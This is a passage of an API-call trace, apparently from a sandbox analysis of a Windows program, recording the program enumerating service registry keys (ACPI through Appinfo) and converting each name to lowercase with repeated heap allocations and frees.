RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.923] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0175.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.923] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0175.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.923] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1d18, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0175.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.923] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.923] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.923] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.923] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0175.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.923] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.923] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0175.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.923] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.923] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.923] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.923] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0175.924] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.924] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0175.924] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.924] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1d18, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0175.924] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.924] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.924] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.924] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.924] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0175.924] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.924] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.924] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.924] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0175.924] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.924] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.924] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.924] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.924] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0175.924] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.924] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.924] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.924] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0175.924] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.924] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.924] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.924] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.924] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0175.924] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.924] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.924] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.924] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0175.924] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.924] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.924] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.924] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.925] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0175.925] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.925] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0175.925] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.925] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1d18, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0175.925] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.925] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.925] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.925] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.925] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0175.925] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.925] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0175.925] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.925] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1a90, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0175.925] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.925] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.925] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.925] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.925] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0175.925] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.925] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0175.925] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.925] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0175.925] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.925] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.925] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.925] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.925] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0175.925] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.925] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0175.925] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.925] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0175.925] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.925] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.925] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.926] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.926] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0175.926] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0175.926] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0175.926] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.926] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.926] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.926] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.926] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0175.926] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0175.926] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0175.926] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.926] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.926] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.926] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.926] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0175.926] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0175.926] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0175.926] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.926] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.926] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.926] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.926] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0175.926] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0175.926] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0175.926] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.926] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.927] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.927] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.927] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0175.927] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.927] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0175.927] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.927] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0175.927] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.927] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.927] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.927] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.927] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0175.927] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.927] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.927] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.927] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0175.927] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.927] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.927] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.927] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.927] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0175.927] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.927] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0175.927] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.927] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0175.927] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.927] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.927] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.927] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.927] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0175.927] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.927] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.927] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.927] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0175.927] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.928] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.928] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.928] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.928] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0175.928] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.928] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0175.928] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.928] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0175.928] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.928] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.928] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.928] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.928] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0175.928] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.928] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.928] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0175.928] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0175.928] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.928] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0175.928] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.928] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0175.928] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0175.928] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0175.928] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.928] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.928] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 